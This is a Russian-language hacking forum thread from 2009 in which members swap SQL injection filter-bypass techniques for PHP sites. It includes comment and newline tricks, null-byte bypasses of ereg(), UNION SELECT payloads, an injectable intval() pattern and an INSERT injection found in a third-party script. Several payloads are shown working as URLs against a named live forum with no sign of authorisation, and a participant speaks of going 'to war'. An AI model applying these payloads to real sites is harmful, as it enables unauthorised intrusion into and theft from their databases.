Ваши вопросы по уязвимостям.

Discussion in 'Уязвимости' started by darky, 4 Aug 2007.

Thread Status:
Not open for further replies.
  1. Grey

    Grey Banned

    Joined:
    10 Jun 2006
    Messages:
    1,047
    Likes Received:
    1,315
    Reputations:
    1,159
    Не, а ты сразу не можешь все скопировать?
    Я не телепат.

    /**/and (/*)*/select substring(version(),1))=4

    Ну такое к примеру прокатит, т.к. позиция первого /* будет равна 0. А strpos() ищет первое вхождение подстроки, в отличие от strrpos(), которая ищет последнее вхождение подстроки.

    P.S. даже такое прокатит:

    '/**/and (/*)*/select substring(version(),1))=4 - если кавычку надо где то закрыть, тут позиция будет равна 1.

    И такое тоже:

    ')/**/and (/*)*/select substring(version(),1))=4 - если кавычку надо где то закрыть и скобку, тут позиция будет равна 2 (а вот 3 уже не прокатит).

    Этого кстати должно хватить, получиться что то такое (к примеру):

    1/**/and (/*)*/select substring(version(),1))=4

    P.P.S. а на конце строке можно заюзать символ # (он тут не фильтруется) для за комментирования оставшийся части, правда при желание можно и не отбрасывать оставшуюся часть.
     
    #7501 Grey, 13 Jun 2009
    Last edited: 13 Jun 2009
    1 person likes this.
  2. mailbrush

    mailbrush Well-Known Member

    Joined:
    24 Jun 2008
    Messages:
    1,997
    Likes Received:
    996
    Reputations:
    155
    Ни один из вышеперечисленных вариантов не работает.
    Code:
    http://forum.rockmanpm.com/index.php?action=profile;sa=awardsMembers;u=1;[B]id=1[/B]
     
  3. Grey

    Grey Banned

    Joined:
    10 Jun 2006
    Messages:
    1,047
    Likes Received:
    1,315
    Reputations:
    1,159
    1. А откуда берётся значение переменной $clean?
    2. Ты смотришь сорцы той же версии, что и форум по линку?

    P.S. а вообще тестить лучше на локалке.
     
    #7503 Grey, 13 Jun 2009
    Last edited: 13 Jun 2009
  4. Grey

    Grey Banned

    Joined:
    10 Jun 2006
    Messages:
    1,047
    Likes Received:
    1,315
    Reputations:
    1,159
    Разобрался

    Сорцы не смотрел, но понял, что без них сказать что то сложно (возможно фильтрация идет в квери_стринг, а может как то очень по хитрому и по этому позиция /* определяется не правильно (не так как нам нужно)), но нашел другой выход:

    Пример:

    условие выполняется верно:
    http://forum.rockmanpm.com/index.php?action=profile&sa=awardsMembers&u=1&id=1+and+(%23)%0Aselect+5)=5

    условие выполняется не верно:
    http://forum.rockmanpm.com/index.php?action=profile&sa=awardsMembers&u=1&id=1+and+(%23)%0Aselect+5)=4

    Вот в чем фишка # - тоже комментирует строку и его они забыли добавить в фильтр (как я уже отметил раньше), значит мы его и заюзаем.
    Единственное нужно учитывать - это то, что он комментирует только 1 строку, делаем так:

    id=1+and+(%23)%0Aselect+5)=4

    Получается так:

    id=1 and (#)
    select 5)=4

    т.е. получается, что часть строки (а именно та, в которой закрывающая скобка) в запросе не участвует, но служит отличной закуской для регулярки, позволяя обойти фильтр.

    P.S. %23 - урл код это символа #, %0A - урл код новой строки.

    P.P.S. пошел запрягать РоА на написание сплоента)
     
    #7504 Grey, 13 Jun 2009
    Last edited: 13 Jun 2009
  5. Велемир

    Joined:
    19 Jun 2006
    Messages:
    1,123
    Likes Received:
    96
    Reputations:
    -25
    PHP:
     if(ereg("^[0-9]+$",$ar["lid"] = $_GET['lid']))
      {
        
    $query mysql_query("SELECT * FROM main WHERE lid = '$lid'");

    Почему не работает вариант с NULL-байтом ? например, 5%00.Нулл байт же обходит проверку при ereg функциях.
     
  6. mailbrush

    mailbrush Well-Known Member

    Joined:
    24 Jun 2008
    Messages:
    1,997
    Likes Received:
    996
    Reputations:
    155
    Grey, спасибо за объяснения, не ожидал такой помощи. Я тестил у себя на локале, но т.к. это локал, ссыль выложил на другой форум.

    PS: Сорсы этого "фильтра" - http://forum.rockmanpm.com/Sources/Subs.php~
     
    #7506 mailbrush, 13 Jun 2009
    Last edited: 13 Jun 2009
    1 person likes this.
  7. ElteRUS

    ElteRUS Elder - Старейшина

    Joined:
    11 Oct 2007
    Messages:
    367
    Likes Received:
    460
    Reputations:
    93
    Как именно не работает ? Как ты проверяешь ? меджик_квотес отключены ?

    lid=2%00'+union+select+1--+ - должно работать
     
    #7507 ElteRUS, 13 Jun 2009
    Last edited: 13 Jun 2009
  8. Spyder

    Spyder Elder - Старейшина

    Joined:
    9 Oct 2006
    Messages:
    1,388
    Likes Received:
    1,209
    Reputations:
    475
    Велемир, пример того как ты обходил покажи
     
  9. Велемир

    Joined:
    19 Jun 2006
    Messages:
    1,123
    Likes Received:
    96
    Reputations:
    -25
    Ээ...пасип,но уже не имеет смысла.Там кавычки включены оказывается.

    Решил чутка поменять на локалхосте:

    PHP:

    $c 
    mysql_connect("localhost","root","vertrigo");

    $user $_GET['user'];


    if(
    ereg("^[0-9]+$",$user)) {

    echo 
    "Ты хакер,обошедший фильтрацию!";

    $q mysql_query("Select * from mysql.user where User='$user'");

    $r mysql_fetch_array($q);

    print_r($r);

    }


    else {

    echo 
    "Хакер!";

    }


    Результат только на кавычку катит,а запрос не провести.Пробовал ставить 1%00order+by+1 и т.д.

    Вообще,нашёл эту хрень на сайте,висящем на двиге,похожий на вордпресс. Есть переменные: lid,o,c,start,actions.Может,кто скажет точнее ?
     
    #7509 Велемир, 13 Jun 2009
    Last edited: 13 Jun 2009
  10. Spyder

    Spyder Elder - Старейшина

    Joined:
    9 Oct 2006
    Messages:
    1,388
    Likes Received:
    1,209
    Reputations:
    475
    надо закрывать кавычку в запросе, как тебе ElteRUS написал
    1%00'+union+select+1,2,n/*
     
  11. Велемир

    Joined:
    19 Jun 2006
    Messages:
    1,123
    Likes Received:
    96
    Reputations:
    -25
    Бесполезно:

    http://localhost/ttt.php?user=1%00'+union+select+version()/*

    Выводит тупо ошибку.На ордер ему пофиг.Запрос не провести
     
  12. ElteRUS

    ElteRUS Elder - Старейшина

    Joined:
    11 Oct 2007
    Messages:
    367
    Likes Received:
    460
    Reputations:
    93
    Валемир, а ты попробуй так:
    http://localhost/ttt.php?user=1%00'+order+by+1--+

    Будет ошибка:
    Warning: mysql_result() [function.mysql-result]: Unable to jump to row 0 on MySQL result


    А потом так:
    http://localhost/ttt.php?user=1%00'+order+by+1000--+

    Будет ошибка:
    Warning: mysql_result(): supplied argument is not a valid MySQL result


    Я прав или нет ?)
     
  13. Spyder

    Spyder Elder - Старейшина

    Joined:
    9 Oct 2006
    Messages:
    1,388
    Likes Received:
    1,209
    Reputations:
    475
    какая ошибка?
     
  14. Велемир

    Joined:
    19 Jun 2006
    Messages:
    1,123
    Likes Received:
    96
    Reputations:
    -25
    Чёрт побери,да ты прав!Только я заменил мускул резалт на феч аррай.Почему твой вариант работает?!? Ни --,ни /*,ни %3c не работает,а твой работает.Почему ?
     
  15. ElteRUS

    ElteRUS Elder - Старейшина

    Joined:
    11 Oct 2007
    Messages:
    367
    Likes Received:
    460
    Reputations:
    93
    Это не обязательно было делать :)

    Напиши у себя в скрипте

    PHP:
            $q mysql_query("Select Password from mysql.user where User='$lid'");
            
    $r mysql_result($q,0);
            
    print_r($r);
    А потом

    http://localhost/ttt.php?user=1%00'+union+select+version()--+

    И увидишь версию

    Насчет ошибок: "--" должно иметь пробел вконце. Это написано в документации, а игнорировать документацию не хорошо. А "/*" должно быть не работает из-за кавычки ... там есть особенность, тут почитай http://phpclub.ru/mysql/doc/comments.html
     
  16. Spyder

    Spyder Elder - Старейшина

    Joined:
    9 Oct 2006
    Messages:
    1,388
    Likes Received:
    1,209
    Reputations:
    475
    http://localhost/ttt.php?user=1%00'+union+select+'1

    можно без коментариев +))
     
  17. Велемир

    Joined:
    19 Jun 2006
    Messages:
    1,123
    Likes Received:
    96
    Reputations:
    -25
    Пасиб всем...Пошёл готовиться к войне)Отдельное мегаспасибо Spyder-у.Заставил его вспоминать:)
     
    #7517 Велемир, 13 Jun 2009
    Last edited: 13 Jun 2009
  18. Велемир

    Joined:
    19 Jun 2006
    Messages:
    1,123
    Likes Received:
    96
    Reputations:
    -25
    Писали в Хакере,что можно как-то обойти intval().реально это сделать ? (Провести полноценный запрос к БД)
     
  19. Kakoytoxaker

    Kakoytoxaker Elder - Старейшина

    Joined:
    18 Feb 2008
    Messages:
    1,038
    Likes Received:
    1,139
    Reputations:
    350
    Так не обойти:
    PHP:
     $id intval($_REQUEST['id']);
    sql_query("select * from table_name where id=$id"); 
    Так можно:
    PHP:
    $id=$_REQUEST['id']; 
        if(
    intval($id)) 
         { 
          
    sql_query("select * from table_name where id=$id"); 
         }
    https://forum.antichat.ru/thread56756.html
     
    1 person likes this.
  20. Велемир

    Joined:
    19 Jun 2006
    Messages:
    1,123
    Likes Received:
    96
    Reputations:
    -25
    PHP:

    if ($do=="add") {

            
    $ttitle=mhtml(substr($HTTP_POST_VARS["ttitle"],0,256));
            
    $url=mhtml(substr($HTTP_POST_VARS["url"],0,256));
            
    $email=mhtml(substr($HTTP_POST_VARS["email"],0,256));
            
    $description=mhtml(substr($HTTP_POST_VARS["description"],0,2048));
            
    $c1=intval($HTTP_POST_VARS["c1"]);

            
    $error="";
            if (
    $c1==0$error.="<LI>".$LANG["mustbecat"];
            if (empty(
    $email)) $error.="<LI>".$LANG["mustbeemail"];
            if (empty(
    $url)) $error.="<LI>".$LANG["mustbeurl"];
            if (empty(
    $ttitle)) $error.="<LI>".$LANG["mustbetitle"];
            if (empty(
    $description)) $error.="<LI>".$LANG["mustbedescription"];

            if (empty(
    $error)) {
                    if (
    $cat["mailifnewlink"]=="yes") {
                            
    mail($cat["mailifnewlinkto"],$cat["mailifnewlinksubject"],"TITLE: $ttitle\nURL: $url\n");
                            }
                    
    mysql_query("INSERT INTO main SET title='$ttitle', description='$description', url='$url', cat1='$c1', cat2='0', cat3='0', gin=0, gout=0, moder_vote=0, email='$email', type=0;") or die(mysql_error());
                    require(
    "template.php");
                    if(
    $onregister == "on")
                    {
                      
    $headers "From: $namesender <$emailsender>\n";
                      
    mail($email,$subjbefore,html_entity_decode($templbefore,ENT_QUOTES),$headers);
                    }
                    
    $r=mysql_query("SELECT max(lid) FROM main WHERE url='$url'") or die(mysql_error());
                    
    $cid=@mysql_result($r,0,0);
                    print (
    "<HTML><HEAD>\n");
                    print (
    "<META HTTP-EQUIV=refresh CONTENT='0;url=thx.php?id=$cid'>\n");
                    print (
    "</HEAD></HTML>\n");
                    die();
                    }
            }

    Скрипт: add.php

    Функция: mhtml() // Самописная

    PHP:

    function mhtml($t)
    {
      
    $t=StripSlashes($t);
      
    $t=str_replace("'","'",$t);
      
    $t=str_replace("\"","&quot;",$t);
      return 
    $t;
    }

    Функция эта сначала убирает слэши,которые экранируют кавычки(обратные то бишь) и спецсимволы экранируются.Также заменяются символы '\' и ' на хтмл сущности.т.е. бесполезные их варианты при проведении XSS.Ладно.Зато есть инжект в INSERT запросе.

    Уязвимые параметры: $email,$url,$ttitle,$description.

    Почему я так решил? Проверил на локалхосте:

    PHP:

    <?php

    $n
    =mhtml(substr($_GET["x"],0,256));
    echo 
    $n;


    function 
    mhtml($t)
    {
      
    $t=StripSlashes($t);
      
    $t=str_replace("'","'",$t);
      
    $t=str_replace("\"","&quot;",$t);
      return 
    $t;
    }



    ?>

    Или я неправильно накодил,или стр реплейс не работает.Эта функция не заменяет кавычку вообще.На сервере включён magic_quotes_gpc.
     
Thread Status:
Not open for further replies.